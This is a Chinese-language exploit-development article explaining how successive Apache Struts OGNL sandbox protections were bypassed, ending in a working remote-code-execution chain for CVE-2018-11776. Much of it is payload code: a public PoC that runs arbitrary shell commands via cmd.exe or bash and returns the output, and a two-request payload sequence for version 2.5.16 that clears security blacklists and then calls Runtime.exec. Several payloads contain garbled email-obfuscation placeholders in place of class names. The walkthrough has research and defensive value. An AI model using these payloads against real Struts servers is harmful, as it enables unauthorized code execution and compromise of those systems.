CVE-2018-11776: Apache Struts OGNL沙箱绕过

栏目: Struts · 发布时间: 5年前

内容简介:本文讲述如何构建CVE-2018-11776的漏洞利用。首先介绍一些背景和概念以帮助理解OGNL利用的过程。首先介绍下OGNL的基本概念。在Struts的中,OGNL可以使用#符号访问全局对象。本文介绍一些可以访问的对象,其中列出的对象中有两个对构建exp非常关键。第一个对象是 _memberAccess,这是用来控制OGNL 行为的SecurityMemberAccess对象,另一个是context,这是允许访问更多的其他对象的context图。获取对 _memberAccess的访问权限可以轻易地修改

本文讲述如何构建CVE-2018-11776的漏洞利用。

Struts OGNL利用史

首先介绍一些背景和概念以帮助理解OGNL利用的过程。首先介绍下OGNL的基本概念。

OGNL执行环境

在Struts的中,OGNL可以使用#符号访问全局对象。本文介绍一些可以访问的对象,其中列出的对象中有两个对构建exp非常关键。第一个对象是 _memberAccess,这是用来控制OGNL 行为的SecurityMemberAccess对象,另一个是context,这是允许访问更多的其他对象的context图。获取对 _memberAccess的访问权限可以轻易地修改SecurityMemberAccess 的安全设置。比如:

#_memberAccess['allowStaticMethodAccess']=true会修改_memberAccess中的设置。

@[email protected]().exec('xcalc')会弹出一个计算器。

SecurityMemberAccess

Struts用_memberAccess来控制OGNL中允许的行为。最开始使用一些布尔变量(allowPrivateAccess, allowProtectedAccess, allowPackageProtectedAccess, allowStaticMethodAccess)来提供对OGNL访问Java classes方法和成员的访问。默认情况下,这些设置都是false。在之后的版本中,出现了用于拒绝对特定类和package进行访问的3个黑名单,分别是:

·excludedClasses

· excludedPackageNames

· excludedPackageNamePatterns。

不允许使用静态方法,但允许任意构造器(2.3.20之前版本)

默认情况下,_memberAccess 会进行配置会预防对静态、私有和受保护的方法的访问。但是在2.3.14.1版本之前,这可以通过提取#_memberAccess和修改其中的设置来轻松绕过。许多漏洞利用都使用了这样的方法,比如:

 (#_memberAccess['allowStaticMethodAccess']=true).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="e58f849384cb89848b82cbb7908b918c8880a5828091b7908b918c8880">[email protected]</a>().exec('xcalc'))

CVE-2018-11776: Apache Struts OGNL沙箱绕过

在2.3.14.1及之后版本,allowStaticMethodAccess变成了final,并且不能再修改。但是 _memberAccess允许构造任意类和访问公有方法,执行任意代码就不需要修改中 _memberAccess的设置了:

(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())

这在2.3.20之前版本都适用。

CVE-2018-11776: Apache Struts OGNL沙箱绕过

没有静态方法,没有构建函数,但是允许访问任意类(2.3.20-2.3.29)

在2.3.20版本中,将excludedClasses, excludedPackageNames和excludedPackageNamePatterns类加入了黑名单。另一个变化是拒绝所有constructor调用。这会杀掉ProcessBuilder payload,从这点看,静态方法和constructors都是不允许的,这会对OGNL的功能做出限制。但_memberAccess仍然是可以访问的,静态对象 DefaultMemberAccess 也是可以访问的。

DefaultMemberAccess对象是默认SecurityMemberAccess的一个版本,SecurityMemberAccess允许静态方法和构造函数。所以用DefaultMemberAccess替换_memberAccess就可以了。

#<a href="/cdn-cgi/l/email-protection" data-cfemail="a3fccec6cec1c6d1e2c0c0c6d0d09ee3ccc4cdcf8decc4cdcfe0cccdd7c6dbd7">[email protected]</a>@DEFAULT_MEMBER_ACCESS).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="a8c2c9dec986c4c9c6cf86faddc6dcc1c5cde8cfcddcfaddc6dcc1c5cd">[email protected]</a>().exec('xcalc')

这在2.3.29版本之前都是适用的,而且这是最近的一个利用的重要部分。

对_memberAccess和类不再限制(2.3.30/2.5.2+)

最后, _memberAccess这些简单的技巧都不能用了。类ognl.MemberAccess和 ognl.DefaultMemberAccess都被加入黑名单了。下面看以下如何绕过:

#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="4724282a6928372229343e2a372f28293e693f3028352c75692820292b690820292b12332e2b07242b263434">[email protected]</a>)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@<a href="/cdn-cgi/l/email-protection" data-cfemail="b8d7dfd6d496f7dfd6d4fbd7d6ccddc0ccf8fcfdfef9edf4ec">[email protected]</a>_MEMBER_ACCESS)).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="315b5047501f5d505f561f63445f45585c547156544563445f45585c54">[email protected]</a>().exec('xcalc')

首先注意该利用并不会尝试到达_memberAccess。而是 OgnlUtil 获取的实例,并清除黑名单。那是怎么做到的呢?首先从context map中获取 Container ,其中含有以下key:

CVE-2018-11776: Apache Struts OGNL沙箱绕过

Key com.opensymphony.xwork2.ActionContext.container会给出OGNL执行环境中Container的实例:

CVE-2018-11776: Apache Struts OGNL沙箱绕过

getInstance 方法会尝试创建一个类OgnlUtil的实例,但因为是singleton(单例模式),所以会返回现有的全局实例。

CVE-2018-11776: Apache Struts OGNL沙箱绕过

为了了解全局OgnlUtil对象中的 excludedClasses 与 _memberAccess对象的关系,下面看一下_memberAccess是如何初始化的。

当请求到达时,调用createActionContext方法来创建新的ActionContext。

CVE-2018-11776: Apache Struts OGNL沙箱绕过

最终调用OgnlValueStack的setOgnlUtil方法来初始化OgnlValueStack的securityMemberAccess和OgnlUtil的全局实例。

CVE-2018-11776: Apache Struts OGNL沙箱绕过

从下面的例子中可以看出,securityMemberAccess和 _memberAccess是一样的。

CVE-2018-11776: Apache Struts OGNL沙箱绕过

这意味着OgnlUtil的全局实例与_memberAccess共享相同的excludedClasses, excludedPackageNames, excludedPackageNamePatternsSet,因此清除它们后也清除了_memberAccess中对应的Set。

之后,OGNL可以自由访问 OgnlContext 中的DEFAULT_MEMBER_ACCESS对象和 setMemberAccess 方法来用DEFAULT_MEMBER_ACCES替换_memberAccess,然后执行任意代码。

CVE-2018-11776: Apache Struts OGNL沙箱绕过

绕过2.5.16

下面解释如何在2.5.16中绕过安全措施,攻击CVE-2018-11776。

首先看一下公开的漏洞利用POC:

${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='xcalc').(#iswin=(@<a href="/cdn-cgi/l/email-protection" data-cfemail="d1bbb0a7b0ffbdb0bfb6ff82a8a2a5b4bc91b6b4a581a3bea1b4a3a5a8">[email protected]</a>('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@<a href="/cdn-cgi/l/email-protection" data-cfemail="432c31246d223322202b266d303731363730716d102631352f26370220372a2c2d002c2d37263b3703242637112630332c2d3026">[email protected]</a>().getOutputStream())).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="5f302d38713e2f3e3c373a713c30323230312c7136307116100a2b36332c1f3c302f26">[email protected]</a>(#process.getInputStream(),#ros)).(#ros.flush())}

下面开始构造可以工作的漏洞利用:

 (#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="4724282a6928372229343e2a372f28293e693f3028352c75692820292b690820292b12332e2b07242b263434">[email protected]</a>)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@<a href="/cdn-cgi/l/email-protection" data-cfemail="4f2028212361002821230c20213b2a373b0f0b0a090e1a031b">[email protected]</a>_MEMBER_ACCESS)).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="b2d8d3c4d39cded3dcd59ce0c7dcc6dbdfd7f2d5d7c6e0c7dcc6dbdfd7">[email protected]</a>().exec('xcalc'))

该漏洞利用并不在2.5.16版本上适用,因为该版本引入了一些新的安全措施。首先,对context和excludedClasses的访问在2.5.13版本中被移除,黑名单在2.5.10版本之后不能修改了。

下面看一下attr:

CVE-2018-11776: Apache Struts OGNL沙箱绕过

struts.valueStack的值以OgnlValueStack作为类型。如果想要用OGNL使用的context map,那么OgnlValueStack是一个不错的选择。 getContext 方法可以提供我们想要的context map。所以把刚才的漏洞利用修改为:

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="7f1c101251100f1a110c06120f17101106510708100d144d511018111351301811132a0b16133f1c131e0c0c">[email protected]</a>)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@<a href="/cdn-cgi/l/email-protection" data-cfemail="59363e373577163e37351a36372d3c212d191d1c1f180c150d">[email protected]</a>_MEMBER_ACCESS)).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="3953584f58175558575e176b4c574d50545c795e5c4d6b4c574d50545c">[email protected]</a>().exec('xcalc'))

但是因为excludedClasses和excludedPackageNames 都不能修改,因为该漏洞利用还是不能工作。

CVE-2018-11776: Apache Struts OGNL沙箱绕过

但黑名单其实是可以通过setters修改的:

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="e685898bc889968388959f8b968e89889fc89e9189948dd4c88981888ac8a981888ab3928f8aa6858a879595">[email protected]</a>)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('')).(#context.setMemberAccess(@<a href="/cdn-cgi/l/email-protection" data-cfemail="5d323a333173123a33311e3233293825291d19181b1c081109">[email protected]</a>_MEMBER_ACCESS)).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="650f0413044b09040b024b37100b110c08002502001137100b110c0800">[email protected]</a>().exec('xcalc'))

修改后还不能工作,为什么呢?因为excludedClasses集被从 ognlUtil中清除了:

CVE-2018-11776: Apache Struts OGNL沙箱绕过

但不在 _memberAccess中:

CVE-2018-11776: Apache Struts OGNL沙箱绕过

这是因为在ognlUtil中设置excludedClasses时,会分配excludedClasses一个新的空集而不是修改_memberAccess和ognlUtil引用的集合,所以修改只影响 ognlUtil,而不影响_memberAccess。然后重新发送payload:

CVE-2018-11776: Apache Struts OGNL沙箱绕过

成功打开了计算器。是如何做到的呢? _memberAccess是请求到达时,创建新ActionContext过程中创建的临时对象。每次当用 createActionContext 方法创建新的ActionContext时,都会调用 setOgnlUtil 方法使用excludedClasses, excludedPackageNames等创建_memberAccess。重新发送请求后,新创建的_memberAccess会请求其黑名单类和package,运行执行任意代码。

最后形成了两个payload,一个是清空excludedClasses和excludedPackageNames黑名单的:

 (#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="c5a6aaa8ebaab5a0abb6bca8b5adaaabbcebbdb2aab7aef7ebaaa2aba9eb8aa2aba990b1aca985a6a9a4b6b6">[email protected]</a>)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

另一个是缓和_memberAccess,执行任意代码:

(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@<a href="/cdn-cgi/l/email-protection" data-cfemail="573830393b791830393b14383923322f231713121116021b03">[email protected]</a>_MEMBER_ACCESS)).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="264c475047084a47484108745348524f4b4366414352745348524f4b43">[email protected]</a>().exec('xcalc'))

顺序发送这两个payload就可以利用CVE-2018-11776执行任意代码。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

轻快的Java

轻快的Java

(美)塔特、杰兰德/国别:中国大陆 / 张晓坤 / 中国电力出版社 / 2006-7 / 29.00元

Java的开发者正深陷于复杂性的泥沼中而无法自拔。我们的经验和能力正接近极限,程序员为了编写支持所选框架的程序所花的时间比解决真正问题的时间要多得多。我们不禁要问,有必要把Java搞得这么复杂吗?   答案是否定的。本书给你指引了一条出路。无论是维护应用程序,还是从头开始设计,你都能够超越成规,并大幅精简基本框架、开发过程和最终代码。你能重新掌握一度失控的J2EE应用程序。   在本书......一起来看看 《轻快的Java》 这本书的介绍吧!

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换